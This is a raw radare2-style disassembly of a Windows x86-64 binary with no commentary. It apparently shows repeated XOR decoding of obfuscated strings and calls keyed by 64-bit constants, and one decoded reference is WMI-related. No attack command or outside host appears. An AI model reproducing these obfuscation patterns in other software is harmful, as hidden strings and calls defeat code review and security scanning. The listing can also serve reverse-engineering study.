movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446d0d]
cmp rdi, 0x1f
ja 0x140125e85
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140125e6c
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14044119b]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x86f45eab78c3a95
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013d8ba
and qword [rsi], 0
mov dl, 1
lea rcx, [0x140446d2d]
test dl, 1
je 0x140125fbb
movzx r8d, byte [rbx + rcx]
mov rdx, rbx
or rdx, 1
movzx edx, byte [rdx + rcx]
mov r9, rbx
or r9, 2
movzx r9d, byte [r9 + rcx]
mov r10, rbx
or r10, 3
movzx r10d, byte [r10 + rcx]
mov r11, rbx
or r11, 4
movzx r11d, byte [r11 + rcx]
mov rdi, rbx
or rdi, 5
movzx edi, byte [rdi + rcx]
mov r14, rbx
or r14, 6
mov r15, rbx
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rdi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rdi
or rdx, r14
xor rdx, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], rdx
mov ebx, 8
xor edx, edx
jmp 0x140125f15
mov al, byte [rax + 8]
xor al, 0xb2
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x2c0], rcx
mov byte [rsp + 0x2c8], al
xor edi, edi
mov ecx, 9
xor edx, edx
call fcn.1401674a3
mov rcx, qword [rsp + 0x2c0]
mov qword [rax], rcx
mov cl, byte [rsp + 0x2c8]
mov byte [rax + 8], cl
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 9
lea rax, [0x14043f425]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xd2b056d0a3c036a6
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140140f4a
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446d36]
cmp rdi, 0x1f
ja 0x14012606d
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140126054
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x140448322]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xc97aee3d8bb54d75
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14014044f
and qword [rsi], 0
mov dl, 1
lea rcx, [0x140446d56]
test dl, 1
je 0x1401261a3
movzx r8d, byte [rbx + rcx]
mov rdx, rbx
or rdx, 1
movzx edx, byte [rdx + rcx]
mov r9, rbx
or r9, 2
movzx r9d, byte [r9 + rcx]
mov r10, rbx
or r10, 3
movzx r10d, byte [r10 + rcx]
mov r11, rbx
or r11, 4
movzx r11d, byte [r11 + rcx]
mov rdi, rbx
or rdi, 5
movzx edi, byte [rdi + rcx]
mov r14, rbx
or r14, 6
mov r15, rbx
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rdi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rdi
or rdx, r14
xor rdx, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], rdx
mov ebx, 8
xor edx, edx
jmp 0x1401260fd
movzx eax, word [rax + 8]
xor eax, 0x98a6
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x2c0], rcx
mov word [rsp + 0x2c8], ax
xor edi, edi
mov ecx, 0xa
xor edx, edx
call fcn.1401674a3
mov rcx, qword [rsp + 0x2c0]
mov qword [rax], rcx
movzx ecx, word [rsp + 0x2c8]
mov word [rax + 8], cx
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 0xa
lea rax, [0x14043e1f4]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x4526a7feb1e3d01e
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013f792
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446d60]
cmp rdi, 0x1f
ja 0x14012625c
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140126243
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x1404432db]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xefde190e8ba5ea7c
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.140141198
pxor xmm0, xmm0
movdqa xmmword [rsi], xmm0
and dword [rsi + 0x10], 0
lea rcx, [0x140446d80]
cmp rbx, 0x10
jae 0x14012630b
mov rdx, qword [rbx + rcx]
xor rdx, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], rdx
add rbx, 8
jmp 0x1401262f2
mov edx, 0x10
cmp rdx, 0x13
ja 0x14012633e
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0x4000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x30], r8d
add rdx, 4
jmp 0x140126310
movzx ecx, byte [rax + 0x16]
movzx eax, word [rax + 0x14]
xor eax, 0x84c8
mov word [rsp + 0x44], ax
xor cl, 0xd1
mov byte [rsp + 0x46], cl
movaps xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x2c0], xmm0
mov rax, qword [rsp + 0x3f]
mov qword [rsp + 0x2cf], rax
xor edi, edi
mov ecx, 0x17
xor edx, edx
call fcn.1401674a3
movdqa xmm0, xmmword [rsp + 0x2c0]
movdqu xmmword [rax], xmm0
mov rcx, qword [rsp + 0x2cf]
mov qword [rax + 0xf], rcx
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 0x17
lea rax, [0x140447230]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xb963fd4c76c0f2db
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013f910
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446d97]
cmp rdi, 0x1f
ja 0x14012640e
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x1401263f5
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x1404420f7]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xe06b031d810cf76e
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.140141082
pxor xmm0, xmm0
movdqa xmmword [rsi], xmm0
and dword [rsi + 0x10], 0
lea rcx, [0x140446db7]
cmp rbx, 0x10
jae 0x1401264bd
mov rdx, qword [rbx + rcx]
xor rdx, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], rdx
add rbx, 8
jmp 0x1401264a4
mov edx, 0x10
cmp rdx, 0x13
ja 0x1401264f0
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0xb1000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x30], r8d
add rdx, 4
jmp 0x1401264c2
movzx eax, word [rax + 0x14]
xor eax, 0x7bb7
mov word [rsp + 0x44], ax
movaps xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x2c0], xmm0
mov rax, qword [rsp + 0x3e]
mov qword [rsp + 0x2ce], rax
xor edi, edi
mov ecx, 0x16
xor edx, edx
call fcn.1401674a3
movdqa xmm0, xmmword [rsp + 0x2c0]
movdqu xmmword [rax], xmm0
mov rcx, qword [rsp + 0x2ce]
mov qword [rax + 0xe], rcx
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 0x16
lea rax, [0x14043ea88]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x71bb6b4d9806895a
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013e1f8
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446dcd]
cmp rdi, 0x1f
ja 0x1401265b5
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x14012659c
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043a7d1]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x6bcf8c9712469d31
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013fd85
pxor xmm0, xmm0
movdqa xmmword [rsi], xmm0
and dword [rsi + 0x10], 0
lea rcx, [0x140446ded]
cmp rbx, 0x10
jae 0x140126664
mov rdx, qword [rbx + rcx]
xor rdx, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], rdx
add rbx, 8
jmp 0x14012664b
mov edx, 0x10
cmp rdx, 0x13
ja 0x140126697
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0xb5000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x30], r8d
add rdx, 4
jmp 0x140126669
movzx ecx, byte [rax + 0x16]
movzx eax, word [rax + 0x14]
xor eax, 0x944d
mov word [rsp + 0x44], ax
xor cl, 0x37
mov byte [rsp + 0x46], cl
movaps xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x2c0], xmm0
mov rax, qword [rsp + 0x3f]
mov qword [rsp + 0x2cf], rax
xor edi, edi
mov ecx, 0x17
xor edx, edx
call fcn.1401674a3
movdqa xmm0, xmmword [rsp + 0x2c0]
movdqu xmmword [rax], xmm0
mov rcx, qword [rsp + 0x2cf]
mov qword [rax + 0xf], rcx
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 0x17
lea rax, [0x14044310c]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x7e513202acc57863
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013edd9
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446e04]
cmp rdi, 0x1f
ja 0x140126767
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x14012674e
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, str._nValue__cannot_be_turned_into_a_CIMTYPE
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x3807008e460ea58b
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013f1aa
and qword [rsi], 0
mov r8b, 1
lea rcx, [0x140446e24]
movabs rdx, 0x2e00000000000000
test r8b, 1
je 0x14012689b
movzx r9d, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rbx
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rbx
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rdi, rbx
or rdi, 4
movzx edi, byte [rdi + rcx]
mov r14, rbx
or r14, 5
movzx r14d, byte [r14 + rcx]
mov r15, rbx
or r15, 6
movzx r15d, byte [r15 + rcx]
shl r15, 0x30
shl r14, 0x28
shl rdi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rdi
or r8, r14
add r8, rdx
or r8, r15
xor r8, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], r8
mov ebx, 8
xor r8d, r8d
jmp 0x140126802
mov rbx, qword [rsp + 0x30]
xor edi, edi
mov ecx, 8
xor edx, edx
call fcn.1401674a3
mov qword [rax], rbx
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 8
lea rax, [0x14043bfa5]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xba1fb0bef9ddd9f
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013ef93
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446e2c]
cmp rdi, 0x1f
ja 0x140126927
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x14012690e
movabs rbx, 0x8000000000000000
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor r14d, r14d
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14044741c]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x526b1b3f3b70f433
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013ddaa
and qword [rsi], 0
mov dl, 1
lea rcx, [0x140446e4c]
test dl, 1
je 0x140126a59
movzx r8d, byte [r14 + rcx]
mov rdx, r14
or rdx, 1
movzx edx, byte [rdx + rcx]
mov r9, r14
or r9, 2
movzx r9d, byte [r9 + rcx]
mov r10, r14
or r10, 3
movzx r10d, byte [r10 + rcx]
mov r11, r14
or r11, 4
movzx r11d, byte [r11 + rcx]
mov rdi, r14
or rdi, 5
movzx edi, byte [rdi + rcx]
mov r15, r14
or r15, 6
movzx r15d, byte [r15 + rcx]
shl r15, 0x30
shl rdi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rbx
add rdx, rdi
or rdx, r15
xor rdx, qword [rax + r14]
mov qword [rsp + r14 + 0x30], rdx
mov r14d, 8
xor edx, edx
jmp 0x1401269c2
mov rbx, qword [rsp + 0x30]
xor edi, edi
mov ecx, 8
xor edx, edx
call fcn.1401674a3
mov qword [rax], rbx
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 8
lea rax, [0x14043c105]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xcaadda46b298fb6e
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013dfce
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446e54]
cmp rdi, 0x1f
ja 0x140126ae5
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140126acc
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x140445f48]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x69b503773a523d73
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013ef0d
and dword [rsi + 8], 0
and qword [rsi], 0
mov dl, 1
lea rcx, [0x140446e74]
test dl, 1
je 0x140126c1f
movzx r8d, byte [rbx + rcx]
mov rdx, rbx
or rdx, 1
movzx edx, byte [rdx + rcx]
mov r9, rbx
or r9, 2
movzx r9d, byte [r9 + rcx]
mov r10, rbx
or r10, 3
movzx r10d, byte [r10 + rcx]
mov r11, rbx
or r11, 4
movzx r11d, byte [r11 + rcx]
mov rdi, rbx
or rdi, 5
movzx edi, byte [rdi + rcx]
mov r14, rbx
or r14, 6
mov r15, rbx
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rdi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rdi
or rdx, r14
xor rdx, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], rdx
mov ebx, 8
xor edx, edx
jmp 0x140126b79
mov edx, 8
cmp rdx, 0xb
ja 0x140126c52
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0x2f000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x30], r8d
add rdx, 4
jmp 0x140126c24
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x2c8], eax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x2c0], rax
xor edi, edi
mov ecx, 0xc
xor edx, edx
call fcn.1401674a3
mov rcx, qword [rsp + 0x2c0]
mov qword [rax], rcx
mov ecx, dword [rsp + 0x2c8]
mov dword [rax + 8], ecx
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 0xc
lea rax, [0x1404422ed]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xcb03bf1256f58c18
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140141452
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446e80]
cmp rdi, 0x1f
ja 0x140126d03
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140126cea
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043cfc6]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x78ba4258455d39ce
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013fce6
and word [rsi + 4], 0
and dword [rsi], 0
mov dl, 1
lea rcx, [0x140446ea0]
test dl, 1
je 0x140126deb
movzx edx, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r9, rbx
or r9, 3
mov r10, rbx
or r10, 2
movzx r10d, byte [r10 + rcx]
movzx r9d, byte [r9 + rcx]
shl r9d, 0x18
shl r10d, 0x10
shl r8d, 8
or r8d, edx
or r8d, r10d
or r8d, r9d
xor r8d, dword [rax + rbx]
mov dword [rsp + rbx + 0x30], r8d
mov ebx, 4
xor edx, edx
jmp 0x140126d97
movzx ebx, word [rax + 4]
xor ebx, 0xbffb
mov ebp, dword [rsp + 0x30]
xor edi, edi
mov ecx, 6
xor edx, edx
call fcn.1401674a3
mov word [rax + 4], bx
mov dword [rax], ebp
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 6
lea rax, [0x1404441a1]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xde3bfeeef057319a
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013ece9
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446ea6]
cmp rdi, 0x1f
ja 0x140126e83
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140126e6a
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043a271]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xe85edd9b5e637c95
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013f458
and dword [rsi + 3], 0
and dword [rsi], 0
mov dl, 1
lea rcx, [0x140446ec6]
test dl, 1
je 0x140126f6a
movzx edx, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r9, rbx
or r9, 3
mov r10, rbx
or r10, 2
movzx r10d, byte [r10 + rcx]
movzx r9d, byte [r9 + rcx]
shl r9d, 0x18
shl r10d, 0x10
shl r8d, 8
or r8d, edx
or r8d, r10d
or r8d, r9d
xor r8d, dword [rax + rbx]
mov dword [rsp + rbx + 0x30], r8d
mov ebx, 4
xor edx, edx
jmp 0x140126f16
movzx ebx, byte [rax + 6]
movzx ebp, word [rax + 4]
xor ebp, 0xb656
xor bl, 0x75
mov r14d, dword [rsp + 0x30]
xor edi, edi
mov ecx, 7
xor edx, edx
call fcn.1401674a3
mov byte [rax + 6], bl
mov word [rax + 4], bp
mov dword [rax], r14d
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 7
lea rax, [0x140445238]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x8b24980099f914f1
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013ed33
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446ecd]
cmp rdi, 0x1f
ja 0x14012700e
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140126ff5
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x140441f98]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xa963bbc4fc8223e1
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.1401413a9
and word [rsi + 4], 0
and dword [rsi], 0
mov dl, 1
lea rcx, [0x140446eed]
test dl, 1
je 0x1401270f6
movzx edx, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r9, rbx
or r9, 3
mov r10, rbx
or r10, 2
movzx r10d, byte [r10 + rcx]
movzx r9d, byte [r9 + rcx]
shl r9d, 0x18
shl r10d, 0x10
shl r8d, 8
or r8d, edx
or r8d, r10d
or r8d, r9d
xor r8d, dword [rax + rbx]
mov dword [rsp + rbx + 0x30], r8d
mov ebx, 4
xor edx, edx
jmp 0x1401270a2
movzx ebx, word [rax + 4]
xor ebx, 0xaf26
mov ebp, dword [rsp + 0x30]
xor edi, edi
mov ecx, 6
xor edx, edx
call fcn.1401674a3
mov word [rax + 4], bx
mov dword [rax], ebp
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 6
lea rax, [0x140441d74]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x85afe421bd94f91f
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013dbe5
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446ef3]
cmp rdi, 0x1f
ja 0x14012718e
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140127175
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
